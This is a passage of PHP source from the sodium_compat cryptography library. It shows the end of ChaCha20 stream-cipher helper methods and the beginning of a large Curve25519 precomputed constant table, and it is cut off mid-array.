     * @throws TypeError
     */
    public static function ietfStream($len, $nonce, $key)
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce, $key, $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce, $key, $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
Core/Curve25519/H.php000064400000327571152222652550010053 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core_Curve25519_H extends ParagonIE_Sodium_Core_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int, int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
